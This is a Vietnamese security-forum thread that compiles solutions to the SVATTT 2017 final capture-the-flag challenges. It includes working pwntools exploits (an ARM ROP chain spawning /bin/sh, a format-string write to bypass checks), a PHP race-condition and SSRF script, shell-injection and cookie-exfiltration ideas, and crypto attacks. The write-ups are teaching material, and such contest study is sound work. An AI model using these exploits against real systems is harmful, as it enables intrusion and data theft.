Tổng hợp Writeup cuộc thi SVATTT Final 2017

Thảo luận trong 'Thảo luận các cuộc thi CTF khác' bắt đầu bởi Sugi_b3o, 23/11/17, 02:11 PM.

  1. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 207
    Đã được thích: 173
    Điểm thành tích:
    43
    Vòng Chung Kết Cuộc Thi Sinh Viên An Toàn Thông Tin 2017



    ĐỀ BÀI

    Mã:
    [Done]1. Shellcap --- Ghost in the shell. Shell in the cap--- Submit svattt{secret hash} --- Jeopardy (Misc) --- tinduong --- http://final.svattt.org/challs/shellcap.pcapng
    2. Music Box Daemon --- Peter --- nc119.81.181.254 31333 ---- http://final.svattt.org/challs/music_box
    3. Image Storage ---  Daemon --- Peter --- nc119.81.181.254 31338 ---http://final.svattt.org/challs/image_storage
    4. [Done]Hello ARM ---  Daemon --- Peter --- nc119.81.181.254 31335 --- http://final.svattt.org/challs/hello_arm
    5. Serial me --- You need to provide 10 numbers and get the flag! Good luck! --- Jeopardy (Reverse) --- quangnh89 --- Ofline--- http://final.svattt.org/challs/serialme.exe
    6. [Done]NoteService --- vnsec note service is fast and free. Check it out! --- Daemon --- quangnh89 --- nc119.81.181.254 31337 --- http://final.svattt.org/challs/noteservice
    7.[Done] Onion ---Security is like an onion, each time you peel a layer, it's become clearer, and simpler. However, this challenge, is not.--- Jeopardy --- Crypto --- Cothan ---Ofline---http://final.svattt.org/challs/onion.zip
    8.[Done] NotSideChannel --- In real world, when application leaks something, attacker can calculate secret from the leakage. However, this challenge, is not.--- Daemon --- Cothan --- nc119.81.238.121 25455 --- http://final.svattt.org/challs/notsidechannel.zip
    9.[Done] Injection2 --- Easier than injection1 --- Jeopardy --- Chim --- http://final.svattt.org/challs/injection/
    10.[Done] SflagContract --- https://pastebin.com/HJUpDZZF --- Jeopardy --- k9 --- Offline
    11.[Done] shcat --- ssh [email protected] --- pw:goodluckguys --- Jeopardy --- k9
    12.[Done] The last bullet --- Sometimes shoot into yourself is a best solution ... --- Daemon --- g4mm4 --- http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/
     
    

    Solution

    12. The Last Bullet - Daemon
    ------------------------------
    Một chút thính lúc vào game: robots.txt
    Mã:
    User-agent: * 
    Disallow: /backkup-1337/  

    Gắp được ra 3 cái params insert, access_key và path

    • Nếu không set param insert => Select và hiện kết quả theo access_key
    CODE]User-agent: *
    Disallow: /backkup-1337/ [/CODE]

    • Nếu set param insert => Insert vào db dữ liệu lấy từ access_key và path, ngay sau đó thì ... delete ?? ??
    Mã:
    $url = "http://tradahacking.vn".$path."/phiasaumotcogai.html"; 
    
    
    $url = mysql_real_escape_string($url);
    
    if(preg_match('/(#|\?|&)/i', $url))
        {
            exit('Bad words!');
        }
    $sql = "INSERT INTO local_bookmark (url, access_key) VALUES ('" .$url. "', '".$access_key."');";
    ...
    include_once("delete.php"); 
    Okay, select thì méo có gì để select rồi, insert thì bị delete ngay :v

    Nhưng ...
    Ngay từ đầu khi đọc source, mình nhận thấy khá bất thường khi tác giả luôn đặt hàm connect, close db ở từng file, cộng thêm việc vừa insert vừa delete nhìn vội vler .

    [​IMG]

    Ya, nó có mùi Race condition.

    Code khai thác:
    Mã:
    import thread  
    
    import time
    import requests
    import random
    
    def exploit(access_key):
        resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?path=xxx&insert=1&access_key=xxxxx"
                        +str(access_key))
    
    try:
        ak = random.randint(1000000,9999999)
        thread.start_new_thread( exploit, (ak,) )
        thread.start_new_thread( exploit, (ak,) )
        resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak))
        print "http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak)
        print resp.text
    except:
        print "Error: unable to start thread"
    [​IMG]

    Insert được rồi, giờ sao?

    Để ý một chút:
    Insert được rồi, giờ sao?

    Để ý một chút:
    Mã:
    $url = "http://tradahacking.vn".$path."/phiasaumotcogai.html"; 
    Đây là cái sẽ được cho vào DB, và rồi "bị" select ra, đẩy qua hàm file_get_contents
    Mã:
    $sql = "SELECT url from local_bookmark where access_key='".$access_key."' order by id desc limit 1";
    
    $result = $conn->query($sql);
    
    if ($result->num_rows > 0) {
        // output data of each row
        while($row = $result->fetch_assoc()) {
            $bookmark = $row["url"];
            //echo "Your Temporary bookmark is: " . $bookmark."<br>";//For harder version, my Ninjas ;)
        echo "Ok, Ok !!! You win ;)";
        }
    }
    echo file_get_contents($bookmark);  
    Tới lúc dùng tới hint của @g4mm4:

    Local System:1337

    Mình có thể biến cái $url trên kia thành dạng như này:

    http://tradahacking.vn:[email protected]:1337/phiasaumotcogai.html

    Thay vì tradahacking.vn là domain thì nó sẽ bị chuyển thành username

    Nhưng giờ lại kẹt tiếp phát nữa, cái cần bây là directory listing của http://localhost:1337 chứ không phải http://localhost:1337/phiasaumotcogai.html

    May thay trong lúc chưa ra cái hint local system:1337 (mà thực ra cái hint này nó có sẵn từ đầu trên title Web rồi
    mà mình k để ý ), mình đã đẩy request trên kia về server riêng và fuzz linh tinh :v
    Mã:
    119.81.181.252 - - [xx/Nov/2017 xx:xx:28] "GET /./././../../././././././././././././././/../././/phiasa HTTP/1.0" 404 - 
    À há, path truncation. Do giới hạn số ký tự của field url trong db.

    Nhiệm vụ bây giờ chỉ là đẩy request về server riêng, truncate cho vừa đủ hết cái file html kia, xong thay lại localhost:1337 vào (cho đỡ nhầm lẫn )
    Mã:
    index.php?path=:[email protected]:1337/.//./././../../././././././././././././././/.././././././&insert=1&access_key=xxxxx  
    [​IMG]

    Get flag.php
    Mã:
    index.php?path=:[email protected]:1337/./././././././././././././././././././././././././flag.php&insert=1&access_key=xxxxx  
    [​IMG]

    Trích Stingk8
    7.Onion - Jeopardy
    ------------------

    File

    Sau 1 thời gian ngắm nghía thuật toán mình hiểu nôm na thuật toán sẽ đi theo flow :

    process >>> Transform >>> Enlarge >>> Generate_equation

    Trong đó :

    • process chuyển flag về dạng bin , với size = 9, mảng FLAG sẽ chứa 64 phần tử. FLAG ban đầu sẽ bị đổi thành bin và lấy lần lượt 9 số 0,1 sau đó đổi sang integer rồi append vào mảng. Nếu size = 8 thì cũng không có gì để nói cơ mà bài này là 9 nên đáng lưu ý ở đây. [​IMG]
    • Transform chỉ là biến đổi các phần tử của mảng FLAG đi tí thôi, hàm này ta có thể dịch ngược lại được.
    • Enlarge Chỉ là cộng thêm mỗi giá trị của mảng 1 phần tử. Mình không cần dịch ngược cũng được. Ở bước sau ta có thể lược bỏ đi bằng cách (x+0x636f,y + 0x636f ) vậy là ta tìm được x và y luôn
    • Generate_equation Bản chất hàm này mình giải phương trình tìm lại FLAG sau khi bị biến đổi, sau đó đi ngược lại -> transform -> get flag
    Số bài này cũng khá là nhỏ ( giá trị x và y trong range(0,512) ) [​IMG] brute và tìm thôi, mình dùng sage để tìm.

    [​IMG]

    Ok mình đã tìm được FLAG sau khi bị biến đổi, tiến hành detransform -> đổi sang hex, công lần lượt 9 bit lại, decode bin -> flag

    [​IMG]

    Nà ní ?? @@ sao sai nhỉ , ?????????????

    Hmm có chắc là độ dài của mỗi block ở bước process đều là 9 hay không??? Có vẻ như sai ở đó, nên mình thử giảm xuống xét 63 block thôi.

    [​IMG]

    Ok vậy là đoán đúng rồi. Block cuối result chắc hẳn là ” } ”

    Flag: SVATTT{Wel1_secur1ty_1s_l1k3_4n_0nion_actually_0r_m0re…an_illusi0n!!!}

    Code
    Trích Koman4130
    4. Hello ARM - Daemon
    ---------------------
    Sau khi thọt ở vòng sơ khảo với bài formatstring. Mình đã phục thù với bài daemon noteservice . Nhưng lại ngã với bài hello_arm.… .

    Trong buổi thi thì BTC có cho file img arm để tạo env debug. Xui làm sao hôm đó load file đó lại không ra mạng được, không setup được gdb. Mình down src gdb về build nhưng đến cuối lại bị failed. Thế là hôm đó quỳ với bài này…

    Về nhà mình đã tự build img arm và setup peda-arm để debug.

    Link các challenges đã được VNSEC public : https://docs.google.com/spreadsheet...EtYHYepcI3GG3rEIpEM/pubhtml?gid=0&single=true

    Check file:

    Mã:
    hello_arm.1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=c81cfe892f89ccc0d55b9e5d4ec40048b00de0d6, stripped
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : disabled
    RELRO     : Partial
    Quăng vào IDA thì dễ dàng thấy lỗi bof ở đây

    Mã:
    int sub_1054C()
    {
      int v1; // [sp+0h] [bp+0h]
    
      puts("Overflow me.");
      read(0, &v1, 1024u); // <--- bof
      return puts("End");
    }
    [​IMG]

    ta thấy ins SUB SP,SP, #0x80 với SP là reg stack pointer nên ta cần padding 0x84 để có thể overwrite địa chỉ trả về.

    Bài này có bật ASLR trên server nên cần phải leak địa chỉ libc base trước.

    Để có thể leak được thì cần đưa địa chỉ GOT vào thanh ghi R0. Và cần một gadget dạng pop {xxx,pc} để đưa hàm cần gọi vào reg PC (program counter).

    dùng ROPgadget để thử tìm gadget cần :

    ROPgadget --binary hello_arm

    1051c: e8bdb913 pop {r0, r1, r4, r8, fp, ip, sp, pc} (popret)

    nhưng không control được R0.

    Đến đây thì mình đã stuck. Nhưng chợt nhớ đến hint của BTC là thumb2-mode .

    Sau khi tìm hiểu (http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0344c/Beiiegaf.html ) thì được biết rằng architecture arm có 3 loại instruction sets là : ARM, thumb và thumb2. ARM dùng instruction 32-bit, thumb dùng instruction 16-bit và thumb2 32 bit mixing giữa 2 loại này (hỗ trợ thumb trên 32-bit và ARM).

    Trong thumb2 mode thì có một quy định để biết instruction nào của mode nào (arm hay thumb) bằng cách (https://stackoverflow.com/questions/37836861/jump-between-thumb-and-arm )

    • nếu bit 0 của địa chỉ là 0 thì CPU sẽ execute dưới dạng arm code
    • nếu bit 1 của địa chỉ là 1 thì CPU sẽ execute dưới dạng thumb code
    • Nếu parse sai thì CPU sẽ báo lỗi
    Đây là lí do trong code mình có mấy đoạn +1 (Qua debug mới thấy :)) )

    Vì mặc định của của ROPgadget sẽ không hiện các instruction thumb nên cần phải thêm options --thumb

    ROPgadget --thumb --binary hello_arm

    Ở đây có 2 gadget mình cần là :

    0x000105fc : pop.w {r3, r4, r5, r6, r7, r8, sb, pc} ; lsrs r2, r6, #4 ; movs r1, r0 ; lsrs r0, r5, #4 ; movs r1, r0 ; bx lr (popR3)

    0x000105c6 : mov r0, r3 ; pop {r7, pc} (movR0)

    Payload mình sẽ là :

    • popret
    • popR3
    • got read
    • mov R0 ,R3
    • plt puts
    • return to main

    Mã:
    payload=""
        payload+='B'*(0x80+4)
        payload+= p32(popret+1)
        payload+="A"*4+ p32(popr3+1)
        payload+=p32(file.got['read']) # parameter
        payload+="A"*24
        payload+=p32(movr0+1)
        payload+="AAAA"
        payload+=p32(file.symbols['puts']) # call function
        payload+="BBBB"*7
        payload+=p32(ret2main+1)
    Sau khi leak được libc, tiếp theo chỉ cần tính các offset binsh và system để call system(“/bin/sh”)

    script :

    Mã:
    from pwn import *
    
    file = ELF('hello_arm.1')
    libc = ELF('./libc-2.23.so')
    
    
    
    def main(argv):
       if len(argv)<2:
            r = remote('localhost', 31335)
        else:
            r = remote('119.81.181.254',31335)
    
        ret2main = 0x0001054C
    
        r.recvuntil('Overflow me.\n')
     
        popret = 0x1051c
        # 1051c:    e8bdb913     pop    {r0, r1, r4, r8, fp, ip, sp, pc}
        popr3=0x000105fc
        #0x000105fc : pop.w {r3, r4, r5, r6, r7, r8, sb, pc} ; lsrs r2, r6, #4 ; movs r1, r0 ; lsrs r0, r5, #4 ; movs r1, r0 ; bx lr
        movr0=0x000105c6
        #0x000105c6 : mov r0, r3 ; pop {r7, pc}
     
        #pause()
     
        payload=""
        payload+='B'*(0x80+4)
        payload+= p32(popret+1)
        payload+="A"*4+ p32(popr3+1)
        payload+=p32(file.got['read'])
        payload+="A"*24
        payload+=p32(movr0+1)
        payload+="AAAA"
        payload+=p32(file.symbols['puts'])
        payload+="BBBB"*7
        payload+=p32(ret2main+1)
     
        r.sendline(payload)
        r.recvuntil("End")
        print r.recvline()
    
        libc.address=u32(r.recv(4))-libc.symbols['read']
        syst=libc.symbols['system']
        binsh=next(libc.search('/bin/sh\x00'))
    
        log.info("libc base : " + hex(libc.address))
        log.info("system : " + hex(syst))
        log.info("binsh : " + hex(binsh))
    
     
        payload=""
        payload+='B'*(0x80+4)
        payload+= p32(popret+1)
        payload+="A"*4+ p32(popr3+1)
        payload+=p32(binsh)
        payload+="A"*24
        payload+=p32(movr0+1)
        payload+="AAAA"
        payload+=p32(syst)
        payload+="BBBB"*7
        payload+=p32(ret2main+1)
     
        r.recvuntil('Overflow me.\n')
        r.sendline(payload)
    
        r.interactive()
    
    if __name__ == '__main__':
        main(sys.argv)
    [​IMG]

    Bài này cũng không khó, chủ yếu phải setup được môi trường … hi vọng lần sau sẽ không ngã với arm nữa …
    Trích znqt
    8. NotSideChannel - Deamon
    --------------------
    Tải source của challenge tại http://final.svattt.org/challs/notsidechannel.zip – mình tự gõ lại link luôn đấy [​IMG]

    Ok, nói trước là bài này mình không giải ra trong thời gian thi. Và thật ra là trong thời gian thi mình chả làm được bài nào, so sad.

    Bóc phốt time: trong khi thi và sau khi thi xong mình vẫn nghĩ bài này không phải là ECC, ECC méo gì không cho p cũng chả có a, b, ai chơi [​IMG]

    Tóm tắt source: có một server cho ta nhập một số n, server sẽ trả về toạ độ x của point Q, với Q = nP. Nhiệm vụ của chúng ta, là tìm một số k sao cho Q.x() = SECRET = 0x636f7468616e(cho bạn nào chưa biết, secret là hex-encoded nickname của tác giả).

    Tới thời điểm này thì mình buộc phải thừa nhận đây là một bài ECC (sorry bạn nào hôm đấy nghe mình nói nhảm nhé [​IMG] ). Và với một bài ECC “dị” thế này, không có p, a, b thì… tìm cách tìm được rồi tính tiếp vậy [​IMG]

    1. Tìm p:
      [​IMG]Lợi dụng oracle ở hàm check, ta có thể có được p. Binary search có lẽ là cách tốt nhất để tìm p trong trường hợp này, tất nhiên, trừ cách chày cối làm tay. Mình thì tay to hơn não, nên, mình làm tay.
    2. Tìm a, b:
      [​IMG]
      Hàm calculate, như đã nói, sẽ trả về Q.x(), với Q = nP, n do chúng ta nhập.
      Thử nhập 1 và 2, server trả về như sau:
      [​IMG]
      Nhập 1, ta nhận được Q.x(), Q = 2P. Nhập 2, ta nhận được Q.x(), Q = 3P.
      Ok lượn qua Wiki để xem công thức point multiplication như thế nào: https://en.wikipedia.org/wiki/Elliptic_curve_point_multiplicationGiây phút giấy bút lên ngôi:
      [​IMG]Dễ thấy, a, b của chúng ta bây giờ chỉ phụ thuộc duy nhất vào biến y. Tiếp tục dùng Q = 3P:[​IMG]
      Mọi chuyện đã trở nên dễ dàng hơn…

      [​IMG]

      Chỗ này có một lưu ý nhỏ, L2 và L3 đều có 2 giá trị căn bậc hai. Tại sao mình lại chọn như vậy?
    Như đã nói ở trên, tìm được p, a, b, nghĩa là chúng ta mới chỉ giải quyết phần “dị” của bài toán ECC này. Phần còn lại, khó hơn, là phần attack.

    Nếu tinh ý, chúng ta sẽ nhận ra đường cong này là một đường cong đặc biệt:
    [​IMG]

    Rõ ràng đến đây, ta nhận ra mấu chốt để giải bài này là việc chọn các giá trị căn bậc hai sao cho thoả mãn E.order() == p, để có thể thực hiện Smart order attack, hay anomalous curve attack.

    May mắn cho mình, dù chơi ECC không nhiều, chỉ biết vài attack cơ bản, nhưng bài toán lần này vô tình lại trùng với một trong những bài mình đã làm, ở đây: https://hxp.io/blog/25/SharifCTF 2016: crypto350 "British Elevator" writeup/

    Vậy không có lý do gì không modify lại script có sẵn:
    Mã:
    from sage.all import *
     
    p = 0xda69d0d477a051c98f6b3336c307cf48f4385b83c356c1506d82b3aa1027b029b
    A = 121827787187395522386932772379433644358783356270469716574116255032260423356674
    B = 1499440054797214876455236405029756855444492541104689272009331667309909832278511
    
    xP = 0
    yP = 1445276229495444552228801510235047612557952146848015883554855381941261402389406
    xQ = 109330345517422
    yQ = 616807790983772327369764320365083547136422790519828801546456853324847676552512
    
    E = EllipticCurve(GF(p), [0, 0, 0, A, B])
    assert E.order() == p
    
    Qp = Qp(p, 2)
    Ep = EllipticCurve(Qp, [0, 0, 0, A, B])
    
    yPp = sqrt(Qp(xP) ** 3 + Qp(A) * Qp(xP) + Qp(B))
    Pp = Ep(Qp(xP), (-yPp, yPp)[yPp[0] == yP])
    
    yQp = sqrt(Qp(xQ) ** 3 + Qp(A) * Qp(xQ) + Qp(B))
    Qp = Ep(Qp(xQ), (-yQp, yQp)[yQp[0] == yQ])
    
    print('Pp = {}'.format(Pp))
    print('Qp = {}'.format(Qp))
    print('-' * 40)
    
    lQ = Ep.formal_group().log()(- (p * Qp)[0] // (p * Qp)[1]) / p
    lP = Ep.formal_group().log()(- (p * Pp)[0] // (p * Pp)[1]) / p
    print('-' * 40)
    
    e = lQ / lP
    print('e = {}'.format(e))
    
    assert e[0] * E(xP, yP) == E(xQ, yQ)
    
    print('\n--> Found: {:d}\n'.format(e[0]))
    Gởi kết quả tìm được lên server (nhớ trừ 1, còn nếu bạn không biết lý do tại sao thì kéo lên đọc lại từ đầu nhé).

    [​IMG]

    Conclusion: Cám ơn các anh VNSecurity, các anh Viettel đã tổ chức một kỳ SVATTT với nhiều bài hay, đặc biệt cám ơn anh @Cothan vì hai challenges Crypto xuất sắc. Mong cho mong ước của anh trong flag sẽ thành hiện thực. Cám ơn tất cả các anh em đã tham dự kỳ thi SVATTT này. Lần nữa, xin chúc mừng UIT-r3s0L đã giành chiến thắng xứng đáng!
    Trích Blog Quân Đoàn
    10. SflagContract - Jeopardy
    File

    Bài này thì theo gợi ý của đề bài, mình thấy có 1 link

    https://etherscan.io/address/0xeec8a45a3406c8cf1de7ba0083b1c8dd2e31a27f

    Click vào thì nó đưa mình đến 1 trang gì đó, chắc là liên quan đến hoạt động mua bán bitcoin

    Để ý thì có hoạt động có age cách đây 4 ngày ( có vẻ trước ngày sv attt ) nên mình đoán đó là cái mà mình cần quan tâm

    [​IMG]

    Follow theo và xem thử [​IMG]

    Để ý ở bên phàn Tool & Unities mò thử phần Remix Debugger

    [​IMG]

    Có 1 đoạn hex , decode ra được: [​IMG]

    Ok :v nãy giờ mình quên mất cái file pastebin còn có mấy dòng code :v mà nhìn ngắm hồi, và để ý cái chức năng remix debugger. Mình cho nó chạy hết quá trình truyền, mình có flag

    [​IMG]

    [​IMG]
    Trích Blog Komang
     
    Chỉnh sửa cuối: 01/12/17, 08:12 AM
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    whf thích bài này.
  2. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 207
    Đã được thích: 173
    Điểm thành tích:
    43
    11. shcat - Jeopardy
    Đề bài :

    ssh [email protected] pw:goodluckguys
    Khi ssh vào server, ngồi nghịch ngợm tí thì thấy cái này:


    [​IMG]
    Vậy tồn tại 2 user là svattt và test, thử luôn user svatttt cùng pass xem ahihi :)) biết đâu bất ngờ.


    [​IMG]
    ssh [email protected]

    Uầy, đúng pass thật kìa tuy nhiên ngay khi log được vào thì mình bị đẩy ngay ra ngoài với dòng chữ 'GO AWAY HACKER', ok fine I'm hacker now :3

    Tiếp tục công cuộc đào bới tìm flag thôi, khả năng cao là flag nằm trong dir svattt rồi.


    [​IMG]
    Như vậy, flag chắc chắn nằm trong file flag =)), chỉ có điều với user test chúng ta không có quyền đọc file này. Tiếp tục xem các file còn lại trong dir này

    [​IMG]
    shell.c

    Đụng ngay sở đoản code C :)), cơ mà nom có vẻ không có gì phức tạp nên ngồi đọc cố.

    Đại loại code theo mình hiểu ntn:
    Kiểm tra argv nhập vào, nếu trong argv có kí tự thì exit, không thì tạo 1 cmd với dạng:
    cmd = nc + argv và thực thi cmd đó.

    Thấy có file shell, ngồi nghịch thử vài kết quả và đúng như những gì mình hiểu từ đoạn code trên.
    Mày mò tới một số file khả nghi thường gặp trong mấy bài ctf như
    Mã:
    /etc/[]passwd và /etc/[]shadow, 
    thấy điều thú vị:


    [​IMG]
    /etc/[]passwd

    Như vậy có thể hiểu khi ssh tới server với user svattt sẽ gọi tới file /home/svattt/shell. Ý tướng kha khá giống các bài trên overthewire, bạn nào chơi qua các challenge trên này rồi thì đến đây đã có thể tự nghĩ ra cách giải.

    OK, đơn giản rồi, mình chỉ cần truyền vào 1 payload để combine cái cmd thành 2 lệnh của linux, và bùm, ez flag for đội ở nhà :))


    [​IMG]
    FLAG: SVATTT{9SHELLINTHESEASHORE}
    Trích Blog Team IA
     
    Chỉnh sửa cuối: 24/11/17, 01:11 PM
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 207
    Đã được thích: 173
    Điểm thành tích:
    43
    6. NoteService - Daemon
    -------------------------

    Hôm đó vào thi với một tâm lý rất là thoải mái :)) Vào nhìn thấy 4 bài Deamon là pwn đã thấy thích rồi :)) Ban đầu là cứ down hết về đã, vất từng bài vào IDA, á đù một bài arm, 2 bài C++ thôi coi như xong :)) toàn cái mình sợ nhất :)) Bài duy nhất là C và có chút hi vọng "noteservice" chắc heap rồi olala, cũng ít team làm được heap, hi vọng mình làm đc thì mới có khác biệt :))

    Nhưng đời đâi có như mơ :))
    Đọc qua code thì thấy đúng heap thật rồi, malloc free các thứ các thứ nhưng lại lòi ra 1 cái hàm login thế là click vô xem.
    Mã:
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      welcome(*(_QWORD *)&argc, argv, envp);
      InitService();
      while ( 1 )
      {
        switch ( (unsigned int)ShowMenu() )
        {
          case 1u:
            Addnote();
            break;
          case 2u:
            Removenote();
            break;
          case 3u:
            Readnote();
            break;
          case 4u:
            ShowInfo();
            break;
          case 5u:
            Login();
            break;
          case 6u:
            Quit(*(_QWORD *)&argc);
            return;
          default:
            *(_QWORD *)&argc = "Invalid option";
            puts("Invalid option");
            break;
        }
      }
    }
    Á đù :v format lại còn printf(format) thì ắt hẳn có format string rồi.
    Mã:
    unsigned __int64 Login()
    {
      char format; // [rsp+0h] [rbp-30h]
      char v2; // [rsp+20h] [rbp-10h]
      unsigned __int64 v3; // [rsp+28h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      v2 = 1;
      printf("Enter username:");
      __isoc99_scanf("%32s", &format);
      if ( !v2 )
        isNormal = 1;
      printf("Welcome,", &format);
      printf(&format);
      putchar(10);
      return __readfsqword(0x28u) ^ v3;
    }
    Đọc lại mới thấy là flag đã được load sẵn vào một note nhưng để đọc được cần phải có quyền isNormal và isRoot
    2 biến nêu trên lại đều là biến static trong khi file lại không enable PIE nên có thể format string thay đổi giá trị 2 biến kia một cách đơn giản rồi.
    Mã:
    .bss:00000000006021C0    isRoot          dd ?                    ; DATA XREF: Readnote+89↑r
    .bss:00000000006021C0                                                    ; ShowInfo:loc_401196↑r
    .bss:00000000006021C4    public isNormal
    .bss:00000000006021C4    isNormal        dd ?                   ; DATA XREF: Addnote+1E↑r
    File exploit:
    Mã:
    from pwn import *
    
    # r = process('./noteservice')
    # gdb.attach(r, )
    r = remote('119.81.181.254', 31337)
    nomal = 0x6021C4
    isroot = 0x6021C0
    r.recvuntil('$>')
    r.sendline('5')
    r.recvuntil('Enter username:')
    payload = "--------%8$n%9$n"+p64(isroot)+p64(nomal)
    r.sendline(payload)
    r.recvuntil('$>')
    r.sendline('3')
    r.recvuntil('Enter note id:')
    r.sendline('0')
    r.recvline_startswith('Content:')
    log.info(r.recvline())
    
    [+] Opening connection to 119.81.181.254 on port 31337: Done
    [*] svattt{note_service_note_service_:banana-dance:}
    [*] Closed connection to 119.81.181.254 port 31337
    
    Trích Blog chung96vn
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  4. vequeemnhe

    vequeemnhe Wh------

    Tham gia: 29/06/15, 08:06 PM
    Bài viết: 63
    Đã được thích: 20
    Điểm thành tích:
    18
    {6}Wa Hay..... Hoc duoc Rat Nhieu
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    Sugi_b3o thích bài này.
  5. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 207
    Đã được thích: 173
    Điểm thành tích:
    43
    9. Injection2 - Jeopardy
    ------------------------
    Link: http://119.81.181.251/

    Đầu game thì mình hơi shock với mấy bài web!
    Bài này thì lúc truy cập vào nó chả có cái mẹ gì, mỗi dòng “Inconstruction” thì phải [​IMG]:(.
    Rồi 1 lúc sau BTC có update lại thì cũng có mỗi page login, và phải trick 1 tí ở form mới register được ( về sau BTC cũng update lại cho cái button register).
    Source được cấp ở “./src.zip”.
    Với tựa đề là Injection 2, nhưng trong game ko có Injection 1, nên mình nghĩ ngay tới chal Injection của MeePornCTF đợt nọ!
    Và đúng như vậy, đem diff source của 2 chall thì khác nhau ko nhiều lắm, chỉ có vài thay đổi đáng lưu ý đó là những form đợt nọ để “readonly” thì bây giờ đã thành “disabled” => miễn XSS theo cách của đợt nọ luôn!
    ...
    Đến tận 2h team vẫn 0 điểm [​IMG]-_-.
    Ko thể nhai nổi miếng cơm ...
    ...
    Đến 2h05, sau khi solve xong Daemon “The Last Bullet” và Jeo “shcat”, mình bắt đầu quay ra xem lại source bài này (vì RE + Porn thì ko biết gì, và đặc biệt là hiểu biết về crypto ở mức âm cmnl [​IMG]=)) ).
    .
    Lúc này thì đã có điểm của 2 bài kia để chống đỡ, nên cũng thoải mái, ko lo lắng về chuyện bên lề nữa rồi.
    Tiếp tục focus vào bài Injection 2, đi theo 1 hướng khác.
    Mình bắt đầu chú ý đến file “chim2.js” mà con bot chạy!
    Đây là 1 mẩu code quan trọng của file:
    [​IMG]
    (Đoạn secret thực chất là read từ file, nhưng để debug và tính tình nóng nảy nên nó thành ra như vậy =.= )
    Nào, đọc kỹ lại đoạn đó coi!
    Nani?!?
    Rõ ràng ở đây cookie domain là “injection2.trich.im” cơ mà!
    Site hiện tại là: 119.81.181.251, nếu mà có bug ở đây thì XSS thế đếu nào được?? [​IMG]:D ??
    Vậy ra là mình và rất nhiều người đã bị nhầm hướng từ đây, target cần đánh là injection2.trich.im chứ ko phải là thằng này!
    [​IMG]
    kẻ sát nhân luôn có da đen [​IMG]=)))
    Nhưng site kia ko có gì cả, bị redirect qua blog của tác giả!
    Ko sao, theo bản năng của 1 thằng hay chọc ngoáy, mình cắm DirBuster 1 lúc cũng ra đc 2 files khá là thú vi!
    [​IMG]
    Trong đó, file test.php của chúng ta có dạng ntn:
    [​IMG]
    Woooooowwwwwwwwwwwwww
    How i feel at that time.....
    Theo như mình dự đoán, là file test.php print ra hết tất cả header của request, và cả biến $_SERVER nữa!
    Trong số đó, bao gồm Cookie của chúng ta, #surevkl , vì Cookie dù có bị httpOnly thì server vẫn đọc được nó (miễn là domain ko bị lạc trôi đi thành thằng khác).
    Yup!!
    Và sau đó mình build đc cái payload để khi page load xong, nó sẽ auto send page content về server của mình, payload như sau:
    http://injection2.trich.im/test.php...
    Giai đoạn khó khăn là đây!
    Mình ko hiểu sao ko có 1 mống cookie nào return, mặc dù test trên lab các thứ ok ngon ròi?!?
    Và như vậy [​IMG]:( ... mình cứ ngồi, vừa thử vài loại payload khác và chửi thầm
    Rốt cục thì đến hết giờ vẫn ko ra đc Cookie nào [​IMG]:(, team thì bị đánh cho tan tác, suýt bị C500 pass!
    [​IMG]
    .
    .
    .
    .
    Chuyện cứ thế trôi qua như vậy...
    Cho đến 6h sáng ngày hôm nay, đọc được tin nhắn trả lời của người ra đề...
    Và điều gì ko mong chờ cũng đã tới [​IMG]:(.
    BTC confirm là gửi source khác, Cookie Domain trong file chim.js chính là cái 119.81.181.251 , chứ không phải là injection2.trich.im kia :(((
    [​IMG]
    Feeling acay :(((
    And that moment he knew, he f*cked up [​IMG]:(.
    Ko phải hướng đó, mình nghĩ ngay đến RPO (Relative Path Overwrite)!
    Do ngay trước hôm thi cũng có đọc qua writeup của l4w về bài Sadbook (vòng sơ khảo), lợi dụng RPO tương tự!
    Yup!
    Thử thêm “/” vào sau index.php thì chòi luôn ra như vầy:
    [​IMG]
    Style đã bị mất, đơn giản là trong source như vậy:
    [​IMG]
    Nên khi render page, nó sẽ load http://119.81.181.251/index.php/css... , thay vì http://119.81.181.251/css/bootstrap... !
    Tại sao ư??
    It ‘s PHP [​IMG]=))), It ‘s magic!!!
    Về RPO, các bạn nên tham khảo ở đây (https://tsublogs.wordpress.com/2015..., https://l4w.io/2017/11/svattt-2017-..., http://www.thespanner.co.uk/2014/03...).
    (Tự nhận là mình rất dốt nên chỉ đi đọc writeup và nhái lại để làm thành của mình thôi =.[​IMG]=).
    (Nên đọc qua 2 blog kia trước khi kéo xuống dưới để hiểu hơn về sau!)
    .
    .
    .
    Tóm lược lại là như sau:
    Khi bị RPO, thì lúc này website sẽ đi vào dạng Cave mode (A.K.A Quirk Mode or Dễ dãi mode [​IMG]:v ), nó sẽ load bất cứ cái gì trong page trông giống css!
    Dựa vào ý tưởng của những bài trên, và tình hình hiện tại, thì ý tưởng solve bài này như sau:
    • Dựa vào CSRF, dụ con bot tự add payload của mình vào
